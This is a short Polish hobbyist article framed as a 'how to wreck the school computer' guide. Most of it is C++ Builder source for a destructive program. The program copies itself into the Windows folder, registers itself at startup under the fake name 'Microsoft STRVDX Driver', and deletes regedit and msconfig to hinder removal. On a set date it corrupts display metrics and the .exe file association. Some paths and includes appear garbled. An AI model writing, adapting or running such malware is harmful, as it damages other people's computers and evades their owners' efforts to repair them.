Nie biorę jakiej kolwiek odpowiedzialności, za szkody wywołane praktykowaniem tego arta Art ten jest z serii 'how to...', czyli 'Jak załatwić szkolnego kompa :)'. Program napisałem w języku C++ 0x01:Start:: Skompiluj poniższy kod w Borland c++ builder`ze z dołączeniem bibliotek vcl (jak ktoś nie wie, to niech kliknie File=> New, wybieramy console wizard a potem zaznaczamy opcje inlcude visual component library i wciskamy przycisk Finish). -----CUT HERE----- #include #pragma hdrstop #include #include int kopiuj(); int destruct(); //----- #pragma argsused int main(int argc, char **argv) { kopiuj(); if(DateToStr(Date()).c_str() >= "2001-09-20" && TimeToStr(Time()).c_str() >= "10:00:00") //Tutaj wstawiamy date i godzine odpalenia progza... destruct(); return 0; } int kopiuj() { CopyFile(ParamStr(0).c_str(),"c:windowsstrvdx.exe",false); TRegistry& Reg = *new TRegistry(); Reg.RootKey = HKEY_LOCAL_MACHINE; Reg.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false); Reg.WriteString("Microsoft STRVDX Driver", "c:windowsstrvdx.exe"); DeleteFile("c:windowsregedit.exe"); DeleteFile("c:windowssystemmsconfig.exe"); delete &Reg; return 0; } int destruct() { TRegistry& Reg = *new TRegistry(); cout<<"Die motherfucker !!!"<< Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("BorderWidth", "150"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("CaptionHeight", "-260"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("CaptionWidtht", "-400"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("MenuHeight", "500"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("MenuWidth", "500"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("ScrollHeight", "-360"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("ScrollWidth", "-360"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("SmCaptionHeight", "-360"); Reg.CloseKey(); Reg.OpenKey("Control PanelDesktopWindowMetrics", false); Reg.WriteString("SmCaptionWidth", "-360"); Reg.CloseKey(); Reg.OpenKey("Control PanelKeyboard", false); Reg.WriteString("KeyboardSpeed", "1"); Reg.CloseKey(); Reg.RootKey = HKEY_CLASSES_ROOT; Reg.OpenKey(".exe", false); Reg.WriteString("", "txtfile"); Reg.CloseKey(); delete &Reg; return 0; } -----CUT HERE----- Dzięki temu windows dosłownie puchnie, wszystko jest "grube" - tak bym to opisał |